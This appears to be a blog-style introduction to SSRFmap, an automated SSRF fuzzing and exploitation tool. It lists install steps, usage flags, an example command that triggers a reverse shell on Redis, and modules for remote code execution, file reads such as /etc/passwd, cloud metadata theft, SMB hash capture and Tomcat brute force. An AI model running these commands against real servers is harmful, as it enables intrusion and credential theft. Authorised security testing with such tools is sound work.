SSRFmap : Automatic SSRF Fuzzer And Exploitation Tool

SSRF are often used to leverage actions on other services, this framework aims to find and exploit these services easily. SSRFmap takes a Burp request file as input and a parameter to fuzz.

Note : Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.

Also Read : Pwndb : Search For Leaked Credentials

Guide / RTFM

Basic install from the Github repository.

git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap/
pip3 install -r requirements.txt
python3 ssrfmap.py
usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [–lhost LHOST] [–lport LPORT] [–level LEVEL]

optional arguments:
-h, –help show this help message and exit
-r REQFILE SSRF Request file
-p PARAM SSRF Parameter to target
-m MODULES SSRF Modules to enable
-l HANDLER Start an handler for a reverse shell
–lhost LHOST LHOST reverse shell
–lport LPORT LPORT reverse shell
–level [LEVEL] Level of test to perform (1-5, default: 1)

The default way to use this script is the following.

Launch a portscan on localhost and read default files
python ssrfmap.py -r data/request.txt -p url -m readfiles,portscan
Triggering a reverse shell on a Redis
python ssrfmap.py -r data/request.txt -p url -m redis –lhost=127.0.0.1 –lport=4242 -l 4242
-l create a listener for reverse shell on the specified port
–lhost and –lport work like in Metasploit, these values are used to create a reverse shell payload
–level : ability to tweak payloads in order to bypass some IDS/WAF. e.g: 127.0.0.1 -> [::] -> 0000: -> …

A quick way to test the framework can be done with data/example.py SSRF service.

FLASK_APP=data/example.py flask run &
python ssrfmap.py -r data/request.txt -p url -m readfiles

Modules

The following modules are already implemented and can be used with the -m argument.

Name	Description
fastcgi	FastCGI RCE
redis	Redis RCE
github	Github Enterprise RCE < 2.8.7
zabbix	Zabbix RCE
mysql	MySQL Command execution
docker	Docker Infoleaks via API
smtp	SMTP send mail
portscan	Scan ports for the host
networkscan	HTTP Ping sweep over the network
readfiles	Read files such as /etc/passwd
alibaba	Read files from the provider (e.g: meta-data, user-data)
aws	Read files from the provider (e.g: meta-data, user-data)
gce	Read files from the provider (e.g: meta-data, user-data)
digitalocean	Read files from the provider (e.g: meta-data, user-data)
socksproxy	SOCKS4 Proxy
smbhash	Force an SMB authentication via a UNC Path
tomcat	Bruteforce attack against Tomcat Manager